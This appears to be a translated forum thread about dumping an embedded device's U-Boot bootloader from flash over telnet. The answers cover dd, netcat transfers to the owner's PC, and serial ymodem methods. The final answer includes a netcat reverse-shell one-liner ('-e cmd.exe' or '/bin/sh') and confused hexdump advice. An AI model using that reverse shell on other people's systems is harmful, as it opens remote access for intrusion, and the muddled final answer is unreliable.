是否可以使用 CLI telnet 命令复制和保存引导加载程序?

逆向工程 二元分析 linux 记忆 嵌入式 闪光
2021-07-06 08:41:30

我需要从运行嵌入式 Linux 的设备获取原始引导加载程序的副本。是否可以使用 CLI telnet 命令复制和保存引导加载程序?我可以完全访问 CLI 界面。有没有办法从内存中复制 Bootloader 二进制文件并保存它?

=> printenv
...
update_uboot=tftpboot 0x80000100 u-boot.bin && protect off 0x48000000 +${filesize} && erase 0x48000000 +${filesize} && sleep ${sdelay} && cp.b ${fileaddr} 0x48000000 ${filesize} && protect on 0x48000000 +${filesize}
...

ubootpartsize=0x20000

mtdinfo=0x20000(U-Boot)ro
mtdparts=spansion:0x20000(U-Boot)ro

5 cmdlinepart partitions found on MTD device spansion
partitions[0] = {.name = U-Boot, .offset = 0x00000000,.size = 0x00020000 (128K) }

0x00000000-0x00020000 : "U-Boot"

编辑:嵌入式设备上的 Busybox 中不存在 netcat。

BusyBox v1.19.2 built-in shell (ash)
Enter 'help' for a list of built-in commands.
# help
Built-in commands:
------------------
        . : [ [[ bg break cd chdir continue echo eval exec exit export
        false fg getopts hash help jobs kill local printf pwd read readonly
        return set shift source test times trap true type ulimit umask
        unset wait
3个回答

引导加载程序在闪存中,因此您必须先使用以下命令转储它:

dd if=/dev/mtd0 of=/tmp/mtd0

或者

nandump -of /tmp/mtd0 /dev/mtd0

之后,您必须复制到 SD 卡、USB 设备或通过 netcat ( nc)发送到套接字。当然,您也可以一步完成。

编辑

您可以通过 2 个简单的步骤通过 netcat 发送文件。

  1. 在你的PC中以监听模式启动netcat以接收数据并将数据保存到文件中

    nc -l -p 1337 >mtd0.bin

  2. 在嵌入式设备中启动netcat,将数据发送到您的PC

    nc ip_address 1337 </tmp/mtd0

请尝试https://ohse.de/uwe/software/lrzsz.html 另外,阅读有关 kermit、xmodem、ymodem 和 zmodem 协议的信息 - 这些是通过串行线路的文件传输协议。

U-boot 支持使用“loady”命令接收文件。我们将它与包中的lsz命令一起使用lrzsz,以更新引导加载程序。我看不到对发送文件的任何支持,但是如果对 *modem 协议有很好的了解,您可以模拟正确的字符串来激活 minicom 的文件传输并将整个文件发送到您的计算机。

u-boot => help loady
loady - load binary file over serial line (ymodem mode)

Usage:
loady [ off ] [ baud ]
- load binary file over serial line with offset 'off' and baudrate 'baud'

第二种解决方案可能是启用 minicom 的日志记录到文件,使用 u-boot 的md命令打印整个内存区域,然后使用脚本解析日志文件以从 ascii 转换为实际字节。

dd 和 netcat 应该可以正常工作。

如果有任何问题,请尝试对 stdout 执行 hexdump

hexdump -C -n 64 /dev/mtdblock0 > bootloader.bin

但是在目标上需要一个反向 shell,例如:

nc.exe [local IP] [port] -e cmd.exe

(cmd.exe 用于 MS windows,/bin/sh 用于 linux)